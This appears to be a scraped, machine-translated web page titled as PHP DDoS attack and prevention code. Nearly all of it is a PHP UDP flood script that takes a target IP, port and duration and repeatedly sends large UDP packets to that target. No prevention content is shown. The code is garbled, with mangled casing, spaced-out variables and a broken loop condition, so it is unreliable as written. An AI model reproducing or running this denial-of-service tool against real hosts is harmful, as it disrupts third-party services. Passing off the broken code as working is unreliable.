Php ddos attack and prevention code
- $ Ip = $ _ SERVER ['remote _ ADDR '];
- ?>
-
-
-
-
-
- PHP DoS, Coded by EXE
-
-
-
-
-
-
- Your IP: (Don't DoS yourself nub)
-
-
-
File: function. php
- // ================================================ ===
- // Php dos v1.8 (Possibly Stronger Flood Strength)
- // Coded by EXE
- // @ Link http://bbs.it-home.org
- // ================================================ ===
- $ Packets = 0;
- $ Ip = $ _ POST ['IP'];
- $ Rand = $ _ POST ['port'];
- Set_time_limit (0 );
- Ignore_user_abort (FALSE );
- $ Exec_time = $ _ POST ['Time'];
- $ Time = time ();
- Print "Flooded: $ ip on port $ rand
";
- $ Max_time = $ time + $ exec_time;
- For ($ I = 0; I I <65535; $ I ++ ){
- $ Out. = "X ";
- }
- While (1 ){
- $ Packets ++;
- If (time ()> $ max_time ){
- Break;
- }
- $ Fp = fsockopen ("udp: // $ ip", $ rand, $ errno, $ errstr, 5 );
- If ($ fp ){
- Fwrite ($ fp, $ out );
- Fclose ($ fp );
- }
- }
- Echo "Packet complete ". time ('H: I: s '). "with $ packets (". round ($ packets * 65)/1024, 2 ). "mB) packets averaging ". round ($ packets/$ exec_time, 2 ). "packets/s \ n ";
- ?>
|